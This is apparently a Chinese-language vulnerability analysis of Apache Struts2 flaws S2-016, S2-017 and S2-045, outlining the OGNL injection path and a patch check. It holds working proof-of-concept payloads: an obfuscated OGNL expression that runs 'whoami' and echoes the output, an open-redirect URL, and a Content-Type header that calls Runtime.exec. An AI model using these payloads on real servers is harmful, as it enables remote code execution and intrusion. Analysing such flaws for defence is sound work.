一、Struts2介紹
Struts2 是一個基于 MVC(Model-View-Controller) 設計模式的開源 Java Web 應用框架,由 Apache 軟件基金會維護。它是 Struts1 和 WebWork 框架的整合產物,以 WebWork 為核心,通過攔截器機制實現業務邏輯與 Servlet API 的解耦,適用于構建企業級 Web 應用程序。
二、S2-016\S2-017
兩個漏洞原理一樣,S2-016可構造redirect傳入命令,S2構造redirect傳入url通過OGNL表達式執行,下面為分析過程。
通過DefaultActiionMapper 把命名空間key取出來
找到是redirect進入redirect方法里面,設置屬性
講參數傳入this.location和param中
裝飾OGNL表達式,傳入expression參數
執行成功
S2-016 poc
${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#s=new java.util.Scanner((new java.lang.ProcessBuilder('whoami'.toString().split('\\s'))).start().getInputStream()).useDelimiter('\\AAAA'),#str=#s.hasNext()?#s.next():'',#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().println(#str),#resp.getWriter().flush(),#resp.getWriter()
s2-017 poc
http://xxxxx.com/xxx.action?redirect:http:xxxx.com補丁分析:
if ((key.contains("action:")) || (key.contains("redirect:")) || (key.contains("redirectAction:"))) {
return;
三、S2-045
漏洞的本質就是content-type內容出現異常觸發了表達式的執行
接入傳入參數content_type
message數據傳遞
裝飾OGNL表達式,傳入expression參數
執行成功
poc
content-type:test multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')}; boundar